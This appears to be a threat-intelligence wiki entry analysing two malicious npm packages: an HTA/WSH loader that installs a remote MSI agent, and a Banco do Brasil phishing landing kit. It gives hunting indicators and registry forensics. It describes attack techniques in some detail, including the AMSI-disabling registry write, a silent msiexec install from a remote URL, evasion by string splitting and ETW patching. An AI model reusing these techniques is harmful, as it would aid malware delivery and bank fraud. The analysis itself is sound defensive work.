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GSUT @gsutevil/hta-stage HTA/WSH MSI loader + hta-ui Banco do Brasil landing templates

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What happened

OSV's malware stream moved a SIXTH time in ~36 hours (MAL-2026-16419, Amazon Inspector, published 2026-09-22 23:14 UTC) with a package that is not another beacon or stealer, it is a Windows HTA/WSH installation stage for an MSI-based operator agent, and its companion package in the same npm scope is a Banco do Brasil phishing landing kit. This wiki pulled both packages from the live registry, read the full Amazon Inspector analysis embedded in the OSV record, and probed the named infrastructure.

  • @gsutevil/hta-stage 1.62.0 (OSV MAL-2026-16419, GHSA GHSA-95xp-29r3-v466): a Windows HTA/WSH loader that installs a remote MSI on the victim host under the control of a base URL injected at runtime via window.__gsutBases, the loader carries no hardcoded C2; the webpage that hosts the HTA supplies the base. Per Amazon Inspector's full text (embedded in the OSV record, quoted below), on execution it:
  • Disables AMSI for Windows Script Host by writing HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable = 0 through BOTH WScript.Shell.RegWrite and WMI StdRegProv.SetDWORDValue, with the value name reconstructed from a split array to evade static detection;
  • Reads %COMPUTERNAME% + %USERNAME% and POSTs them with phase/exit codes to <base>/v1/hta/event (installation telemetry);
  • Kills prior agents: taskkills python.exe, pythonw.exe, core.exe, guest.exe and enumerates HKLM/HKCU Uninstall keys via WMI to silently msiexec /x-uninstall any product whose DisplayName equals "GSUT Guest", prior-agent cleanup, i.e. an operator who has previously staged this host under the same product identity and expects competition or an upgrade;
  • Requests a token from <base>/v1/hta/msi-token then invokes msiexec /i "<base>/guest.msi?t=<tok>" /qn /norestart REBOOT=ReallySuppress via WScript.Shell.Run, with fallbacks through Shell.Application.ShellExecute and wmic process call create. Every sensitive identifier, ActiveXObject, WScript.Shell, Shell.Application, WbemScripting.SWbemLocator, StdRegProv, AmsiEnable, EtwEventWriteEx, GetProcAddress, GetModuleHandleA, VirtualProtect, MSXML2.ServerXMLHTTP, msiexec, wmic, and the Function constructor used to parse the token response, is rebuilt at runtime from character-array joins / string concatenation to evade signature scanning. EtwEventWriteEx + VirtualProtect in the identifier set implies the HTA also does in-memory ETW patching before handoff to the MSI.
  • @gsutevil/hta-ui 1.62.0 (SAME scope, SAME version number, published 66 seconds BEFORE hta-stage, created 06:32:55 vs 06:33:04 UTC Sep 22): still LIVE and downloadable at this wiki's check while hta-stage's metadata survives but its tarball 404s (see State). This wiki pulled and read the tarball: package description reads verbatim "GSUT HTA landing templates (static UI only, ADR 0084)", keywords gsut hta landing. Contents: two index.html templates and assets, a generic pt-BR "Instalação" (installation) progress-panel page, and a full Banco do Brasil branding kit: page title Seg.BB - Diagnóstico do Módulo de Segurança ("Seg.BB, Security Module Diagnostic"), Banco do Brasil logo assets (banco-do-brasil.png, bbfav.ico, sprite-open.png), the real BB SAC phone number 0800 729 0722 in the header, pt-BR lang attribute, and a yellow botao-amarelo ("yellow button") consent funnel whose internal comments name an xpages SegDiagnosticLanding / common.loading flow and a "Funil GSUT" (GSUT funnel). This is the landing-page half of the operation: a fake bank security-module diagnostic page whose CONCORDO ("I agree") button drives the victim into the HTA install flow that hta-stage implements. The ADR 0084 reference and the clean loader/UI package split + synchronized 1.62.0 versioning show an operator running a deliberately engineered, internally-documented kit, not a script kiddie artifact.
  • Domain gsut[.]com, this wiki's live probes (~01:30-01:45 UTC Sep 23): https://gsut.com/ and https://gsut.com/lander return HTTP 200 but serve a registrar parking lander (window.LANDER_SYSTEM="CP", GoDaddy-family parking-lander JS from img1.wsimg.com), the domain is parked (expired or seized posture). BUT the loader's API paths still answer at the same front door: GET /v1/hta/event → 200, GET /guest.msi → 200 (served the parking lander redirect HTML, NOT an MSI binary), POST → 405 on all three probed paths (/v1/hta/event, /guest.msi, /v1/hta/msi-token). Durable read: the endpoints' shape is still being answered while the content origin behind the front door is gone, do not treat "domain still answers" as "infrastructure live"; compare content, not status codes. No MSI hash exists on record anywhere, what guest.msi carried is currently unknowable, same artifact-ceiling class as this stream's imghippo dropper trio.
  • Publisher: @gsutevil/hta-ui's maintainer survives on the live package: cryptodomespag <robertasilvan172@gmail.com>, a Brazilian-persona Gmail address, consistent with the pt-BR/Banco do Brasil lure language. The email is a first-pivot registry-side artifact.

Naming and targeting reads

  • GSUT Guest is the product name the loader uninstalls before reinstalling, the MSI registers itself as a Windows Installer product under that identity. Hunt: msiexec child processes of mshta.exe/wscript.exe, any InstalledApps entry named GSUT Guest, registry writes to HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable, and outbound requests to paths /v1/hta/event, /v1/hta/msi-token, /guest.msi (the URI grammar survives domain rotation and is itself the durable indicator).
  • The delivery model inverts the usual npm-supply-chain shape: the npm packages are builder/distribution infrastructure for the operator, not the victim-facing artifact. Nobody installs hta-stage with npm install, it is staged to disk as an .hta and opened via a phishing page (hta-ui's templates). The npm exposure is reputational + detection-surface: they used npm as a versioned file host, which is why Amazon Inspector's package scanner caught what no endpoint-only victim would ever report.
  • Banco do Brasil is Brazil's largest bank and a persistent phishing target; the fake "security module diagnostic" funnel matches the Brazilian banking-malware tradition this wiki already records (KREMLIN/REF9334 Brazilian banking malware, Breeze Comet against the Brazilian payment core). No actor link between GSUT and those clusters is asserted on current evidence, same country and same bank, different tooling and delivery.

Registry forensics (this wiki, npm pulls Sep 23 ~01:15-01:50 UTC, time-separated)

Artifact State at check
@gsutevil/hta-stage created 2026-09-22T06:33:04Z; metadata still lists 1.62.0; modified 2026-09-22T17:57:02Z; maintainer field now npm-support <support@npmjs.com> = npm took ownership; tarball download 404 (twice, time-separated), version content deleted after npm holder-style takeover; download window was ~06:33→~17:57 UTC Sep 22 (~11.5 h)
@gsutevil/hta-ui LIVE (HTTP 200, 156,665-byte tarball pulled and read by this wiki); same 1.62.0; maintainer cryptodomespag <robertasilvan172@gmail.com>; 20 files, no install hooks, no scripts field, UNLICENSED, private:false
Advisory latency OSV published 23:14 UTC Sep 22 (~5.5 h after the stage tarball was already neutralized at 17:57 UTC); GHSA mirror GHSA-95xp-29r3-v466 published 00:31:18 UTC Sep 23, severity critical (no CVSS vector), consistent with the pipeline-clock baseline: delete → advise → mirror
gsut[.]com parking lander at root + /lander; API paths still answer (GET 200 lander-HTML, POST 405), front door alive, origin gone

The asymmetric disposition is the interesting part: npm neutralized the LOADER (the malware) but left the LANDING KIT (the fraud UI, hta-ui, Banco do Brasil trademarks included) live and downloadable at check. Whether that is triage scope or latency is unknown; the takedown watch is hta-ui.

Context: same stream window, second discovery

MAL-2026-16419 landed in the same OSV move window as the @wizloft/harness-* scope wipe (records 16422-16432+ per the sweep, GHSA-malware mirrors GHSA-hv3x-6r5c-g4cp et al., published 00:24-00:25 UTC Sep 23): a thirteen-plus-name npm scope whose base package @wizloft/harness shows EIGHT genuine alpha/0.2.0 releases Aug 17-Sep 6 (a real project development cadence) followed by a single 0.0.1-security holder at 00:20 UTC Sep 23, i.e. an active project (possibly account compromise, possibly malicious development, versions are gone, unknowable from public data at capture) fully holder-erased inside ~5 minutes (00:20:15-00:24:17 UTC across the scope and neighbors agora402-payment-utils, anhn-cli). Recorded here as stream state adjacent to GSUT; monitor whether wizloft names re-register. Note the scope name reads as a Wiz lookalike, no relationship to Wiz Research is implied.

hunt

  • Process: mshta.exe/wscript.exe/rundll32 spawning msiexec.exe /i http…; wmic process call create from WSH parents; taskkill /IM python.exe from script hosts.
  • Registry: HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable = 0 written by non-policy processes (this is also a generic AMSI-for-WSH kill-switch IoC independent of GSUT).
  • Inventory: InstalledApps/Uninstall entries named GSUT Guest.
  • Network: URI grammar /v1/hta/event, /v1/hta/msi-token, /guest.msi?t=, pivot on paths, not domains; gsut.com rotation expected.
  • Browser/proxy: pt-BR pages loading *.js from npm CDNs with Seg.BB / Diagnóstico do Módulo de Segurança strings; any cdn.jsdelivr.net/npm/@gsutevil/ fetches.
  • Registry-side: npm maintainer searches on robertasilvan172@gmail.com / the cryptodomespag handle; scope-name patterns @gsutevil/* (the -evil suffix is self-aware naming, the same "self-label the joke" posture as this stream's poc@ accounts).

Monitoring

  • @gsutevil/hta-ui takedown (still live + serving Banco do Brasil branding at check).
  • gsut.com re-registration/repoint, the URI grammar means a new domain + same paths reconstitutes the operation.
  • Whether the guest.msi binary ever surfaces (sandbox telemetry, victim triage), currently zero public hash coverage.
  • Whether "GSUT" appears in Brazilian banking-fraud reporting or PF/PC operations (named-product MSI + bank landing kit is exactly the profile that eventually gets named in a takedown release).
  • @wizloft/* name re-registration; any public statement on what that scope was.
  • Copycat adoption of the loader/UI npm-as-builder-infrastructure split.

Sources

  • OSV MAL-2026-16419 (source: amazon-inspector 590b3432b8d849d5…, published Sep 22 23:14:30 UTC), full behavioral analysis read from the OSV API by this wiki, Sep 23 ~01:15 UTC.
  • GitHub Advisory GHSA-95xp-29r3-v466 (@gsutevil/hta-stage, critical, published Sep 23 00:31:18 UTC).
  • npm registry live pulls (this wiki, Sep 23 ~01:15-01:50 UTC): @gsutevil/hta-stage metadata + 404 tarball (×2 time-separated), @gsutevil/hta-ui full document + tarball (template files read in full).
  • Live infrastructure probes (this wiki): gsut.com root/lander/API-path responses.
  • OSV direct-ID sweep MAL-2026-16419-16432 (published Sep 22 23:14 UTC - Sep 23 00:24 UTC) + GitHub advisories API malware stream (this wiki) for stream context.